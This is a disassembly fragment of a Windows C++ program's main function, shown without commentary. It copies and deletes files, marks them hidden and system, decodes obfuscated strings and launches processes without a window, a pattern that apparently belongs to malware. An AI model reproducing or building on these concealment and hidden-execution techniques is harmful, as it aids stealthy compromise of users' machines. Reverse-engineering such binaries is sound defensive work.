mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3730]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x375f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x37df]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x37df]
mov rdx, qword [rbp + 0x4600]
lea rax, [rbp + 0x37b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x380f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x380f]
lea rdx, [rbp + 0x9d0]
lea rax, [rbp + 0x37e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3790]
lea rcx, [rbp + 0x37b0]
lea rdx, [rbp + 0x37e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3790]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x3790]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x37e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x380f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x37b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x37df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x385f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x385f]
mov rdx, qword [rbp + 0x4610]
lea rax, [rbp + 0x3830]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x388f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x388f]
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0x3860]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3810]
lea rcx, [rbp + 0x3830]
lea rdx, [rbp + 0x3860]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3810]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x4608]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x3810]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3860]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x388f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3830]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x385f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x38df]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x38df]
mov rdx, qword [rbp + 0x4600]
lea rax, [rbp + 0x38b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x390f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x390f]
lea rdx, [rbp + 0x9d0]
lea rax, [rbp + 0x38e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3890]
lea rcx, [rbp + 0x38b0]
lea rdx, [rbp + 0x38e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3890]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x4600]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x3890]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x38e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x390f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x38b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x38df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x395f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x395f]
mov rdx, qword [rbp + 0x4610]
lea rax, [rbp + 0x3930]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x398f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x398f]
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0x3960]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3910]
lea rcx, [rbp + 0x3930]
lea rdx, [rbp + 0x3960]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3910]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x3910]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3960]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x398f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3930]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x395f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x39df]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x39df]
mov rdx, qword [rbp + 0x4600]
lea rax, [rbp + 0x39b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x3a0f]
lea rdx, [rbp + 0x9d0]
lea rax, [rbp + 0x39e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3990]
lea rcx, [rbp + 0x39b0]
lea rdx, [rbp + 0x39e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3990]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x3990]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x39e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x39b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x39df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3a5e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3a5f]
mov rcx, rax
call method.main.lambda__159::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8175066731998204227ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3a5e]
lea rax, [rbp + 0x3a30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x3a80]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3ace]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3acf]
mov rcx, rax
call method.main.lambda__158::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__8175066731998204227ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3ace]
lea rax, [rbp + 0x3aa0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3a60]
lea rcx, [rbp + 0x3a80]
lea rdx, [rbp + 0x3aa0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3a10]
lea rcx, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3a10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3a10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3a60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3aa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ace]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3a80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3a30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3a5e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3b1e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call method.main.lambda__163::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_21ull__14257095799191886201ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3b1e]
lea rax, [rbp + 0x3af0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x3b40]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x3bae]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3baf]
mov rcx, rax
call method.main.lambda__162::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__14257095799191886201ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3bae]
lea rax, [rbp + 0x3b80]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3bff]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x3bff]
mov rdx, qword [rbp + 0x4610]
lea rax, [rbp + 0x3bd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3c4f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x3c4f]
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0x3c20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3c9e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3c9f]
mov rcx, rax
call method.main.lambda__161::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_35ull__14257095799191886201ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3c9e]
lea rax, [rbp + 0x3c70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3d0e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3d0f]
mov rcx, rax
call method.main.lambda__160::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__14257095799191886201ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3d0e]
lea rax, [rbp + 0x3ce0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3ca0]
lea rcx, [rbp + 0x3cc0]
lea rdx, [rbp + 0x3ce0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3c50]
lea rcx, [rbp + 0x3c70]
lea rdx, [rbp + 0x3ca0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3c00]
lea rcx, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3bb0]
lea rcx, [rbp + 0x3bd0]
lea rdx, [rbp + 0x3c00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3b60]
lea rcx, [rbp + 0x3b80]
lea rdx, [rbp + 0x3bb0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3b20]
lea rcx, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3ad0]
lea rcx, [rbp + 0x3af0]
lea rdx, [rbp + 0x3b20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3b20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3b60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3bb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3c00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3c50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ce0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3d0e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3c70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3c9e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3c20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3c4f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3bd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3bff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3b80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3bae]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3b40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3af0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3b1e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3d5e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3d5f]
mov rcx, rax
call method.main.lambda__166::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_20ull__13541658888311396845ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3d5e]
lea rax, [rbp + 0x3d30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3daf]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x3daf]
lea rdx, [rbp + 0x1140]
lea rax, [rbp + 0x3d80]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3dfe]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3dff]
mov rcx, rax
call method.main.lambda__165::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_167ull__13541658888311396845ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3dfe]
lea rax, [rbp + 0x3dd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x3e20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3e6e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3e6f]
mov rcx, rax
call method.main.lambda__164::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_53ull__13541658888311396845ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3e6e]
lea rax, [rbp + 0x3e40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3e00]
lea rcx, [rbp + 0x3e20]
lea rdx, [rbp + 0x3e40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3db0]
lea rcx, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3e00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3d60]
lea rcx, [rbp + 0x3d80]
lea rdx, [rbp + 0x3db0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3d10]
lea rcx, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3d10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3d10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3d60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3db0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3e00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3e40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3e6e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3e20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3dfe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3d80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3daf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3d30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3d5e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3e98]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3e99]
mov rcx, rax
call method.main.lambda__167::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_131ull__3260948369614898477ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3e98]
lea rax, [rbp + 0x3e70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3e70]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3e70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3e98]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
sete al
test al, al
je 0x23195880d
lea rax, [rbp + 0x3e9a]
mov rcx, rax
call method.main.lambda__168::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__12774985453219079051ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231958966
lea rax, [rbp + 0x3e9b]
mov rcx, rax
call method.main.lambda__169::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__1948327814403936765ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3e9c]
mov rcx, rax
call method.main.lambda__170::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__15943729660269798823ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231958966
